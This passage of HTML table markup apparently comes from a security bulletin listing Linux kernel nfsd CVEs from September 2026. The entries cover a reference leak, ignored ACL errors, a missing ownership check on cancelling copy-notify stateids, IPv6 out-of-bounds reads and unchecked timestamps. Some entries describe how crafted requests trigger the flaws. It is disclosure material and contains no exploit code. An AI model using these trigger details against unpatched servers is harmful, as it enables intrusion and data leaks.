&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix dentry ref leak on V4ROOT export filehandle lookup nfsd_set_fh_dentry() leaks the dentry reference from exportfs_decode_fh_raw() when the NFS3_FHSIZE or NFS_FHSIZE switch cases detect NFSEXP_V4ROOT and goto out. The out: label calls exp_put() but never dput(dentry), and fhp-&amp;gt;fh_dentry was never assigned so fh_put() cannot compensate. A crafted NFSv3 filehandle targeting a V4ROOT export&#039;s fsid triggers the leak on every request.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89683&quot; target=&quot;_blank&quot;&gt;CVE-2026-89683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: check nfsd4_acl_to_attr() return value in nfsd4_create() nfsd4_create() stores the return value of nfsd4_acl_to_attr() in status, but the switch(create-&amp;gt;cr_type) block unconditionally overwrites it in every branch. ACL translation errors are silently discarded, and the CREATE proceeds without the requested ACL. Add an early exit check after nfsd4_acl_to_attr(), matching the pattern already used in nfsd4_setattr(). [ cel: prefer NFS4ERR_BADTYPE over NFS4ERR_ATTRNOTSUPP ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89693&quot; target=&quot;_blank&quot;&gt;CVE-2026-89693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: check client ownership when cancelling a copy-notify stateid On the OFFLOAD_CANCEL path (clp != NULL), manage_cpntf_state() freed the target cpntf state without checking ownership. The lookup key st-&amp;gt;si_opaque.so_id is allocated cyclically (guessable) and the embedded clientid is the fixed per-net nn-&amp;gt;s2s_cp_cl_id, so any authenticated NFSv4.2 client could cancel and free another client&#039;s copy-notify stateid. Compare the creating clientid recorded in state-&amp;gt;cp_p_clid against the requesting client&#039;s cl_clientid and return nfserr_bad_stateid on a mismatch instead of freeing the entry.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89694&quot; target=&quot;_blank&quot;&gt;CVE-2026-89694&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: widen nfsd_genl_rqstp address fields to sockaddr_storage struct nfsd_genl_rqstp declares rq_daddr and rq_saddr as plain &quot;struct sockaddr&quot; (16 bytes). When an IPv6 NFS client is connected, nfsd_genl_rpc_status_compose_msg() casts these fields to &quot;struct sockaddr_in6 *&quot; (28 bytes) and reads sin6_addr at offset 8..24, which extends 8 bytes past the end of the 16-byte sockaddr field into the adjacent rq_flags member. The 16-byte nla_put_in6_addr then ships 8 bytes of truncated IPv6 address followed by 8 bytes of rq_flags to userspace via the NFSD_A_RPC_STATUS_SADDR6/DADDR6 netlink attributes. This is reachable by any unprivileged process in the network namespace because NFSD_CMD_RPC_STATUS_GET uses GENL_CMD_CAP_DUMP without GENL_ADMIN_PERM. Fix by widening rq_daddr and rq_saddr to struct sockaddr_storage so the IPv6 casts operate within bounds, copying sizeof(struct sockaddr_storage) bytes in the memcpy calls so the full address is captured, and zero-initializing the genl_rqstp stack variable to prevent leaking uninitialized tail bytes through netlink.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89698&quot; target=&quot;_blank&quot;&gt;CVE-2026-89698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: validate sockaddr length per family in listener_set nfsd_sock_nl_policy declares NFSD_A_SOCK_ADDR as a bare NLA_BINARY attribute with no minimum length. A CAP_NET_ADMIN caller can send a 16-byte NFSD_A_SOCK_ADDR with sa_family=AF_INET6, causing a 12-byte OOB read across three consumers (rpc_cmp_addr_port, svc_find_listener, kernel_bind). nfsd_nl_listener_set_doit() also parsed and validated each listener entry inline in two separate loops, interleaved with mutating the running listener configuration. The validation was duplicated, used an open-coded &quot;nla_len &amp;lt; sizeof(struct sockaddr)&quot; check that was too short for AF_INET6, and handled a malformed entry inconsistently depending on which loop noticed it. Add an nfsd_nl_validate_listeners() helper that walks the entire list once and confirms each entry parses, carries both an address and a transport name, and is long enough for its address family (sizeof(struct sockaddr_in) for AF_INET, sizeof(struct sockaddr_in6) for AF_INET6, -EAFNOSUPPORT otherwise). Call it before taking nfsd_mutex or creating the serv, so a malformed request fails cleanly with no side effects. Since every entry is known valid by the time the two existing loops run, drop the redundant presence and per-family length checks from both, leaving only the nla_parse_nested() call needed to extract the data.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89700&quot; target=&quot;_blank&quot;&gt;CVE-2026-89700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: validate nseconds in TIME_DELEG decode paths The xdrgen-based TIME_DELEG_ACCESS and TIME_DELEG_MODIFY decode arms store a raw uint32_t nseconds directly into tv_nsec without enforcing nseconds &amp;lt; NSEC_PER_SEC. The legacy nfsd4_decode_nfstime4 has this check but the TIME_DELEG paths do not. A malformed timespec can propagate through notify_change() to disk. Add range checks in both nfs4xdr.c (SETATTR path) and nfs4callback.c (CB_GETATTR path).&lt;/td&gt;
&lt;td&g